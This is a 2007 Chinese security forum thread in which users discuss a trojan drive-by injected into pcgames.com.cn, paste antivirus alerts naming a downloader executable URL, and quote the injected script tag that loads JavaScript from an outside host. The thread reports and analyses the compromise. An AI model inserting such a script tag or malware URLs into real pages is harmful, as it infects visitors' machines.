知名网站被挂马了

显示全部楼层 · 发表于 2007-12-30 09:46:15

原帖由 dikex 于 2007-12-29 22:24 发表

我分析的那个是pchome的，楼主说是太平洋的，哪个页面，具体链接是多少

又把刺猬给兴奋的

显示全部楼层 · 发表于 2007-12-30 12:32:55

卡巴斯基反病毒软件 7.0
The requested URL http://w18.vg/s.exe is infected with Trojan-Downloader.Win32.Tiny.afe virus

显示全部楼层 · 发表于 2007-12-30 12:49:28

Exported events:

2007-12-30 12:49 [Guard] Malware found
   Virus or unwanted program 'TR/Agent.1412.1 [TR/Agent.1412.1]'
   detected in file 'C:\Documents and Settings\Administrator\Application
   Data\Opera\Opera\profile\cache4\opr00SA7.exe.
   Action performed: Delete file

显示全部楼层 · 发表于 2007-12-30 12:53:08

无视阿米的言论；但楼主发帖后就消失了，也不留下具体是那个链接

显示全部楼层 · 发表于 2007-12-30 18:34:41

楼主真是会撒谎，后去上了，未发现呐。。

显示全部楼层 · 发表于 2007-12-30 20:20:56

是你逼我公布网址的哦，没办法
www.pcgames.com.cn

今天还挂着呢！
挂马链会扫描访问者的COOKIE,如果之前访问过，就不会重复下载网马

这是代码<SCRIPT src="http://al.99.vc/0.js"></SCRIPT>

显示全部楼层 · 发表于 2007-12-30 20:42:56

原帖由 samsinn 于 2007-12-30 20:20 发表
是你逼我公布网址的哦，没办法
www.pcgames.com.cn

今天还挂着呢！
挂马链会扫描访问者的COOKIE,如果之前访问过，就不会重复下载网马

这是代码

从一开始就想你公布的说

原来是pcgames，还以为是pconline，害我在上面到处找

显示全部楼层 · 发表于 2007-12-30 20:45:45

哈哈哈，微点报了啊，avast的拦截器也拦截了，只用组策略也成功阻挡了，哈哈哈

显示全部楼层 · 发表于 2007-12-30 21:55:44

nod没反应，就是邀游死了好久

[已鉴定] 知名网站被挂马了

回复 14楼 dikex 的帖子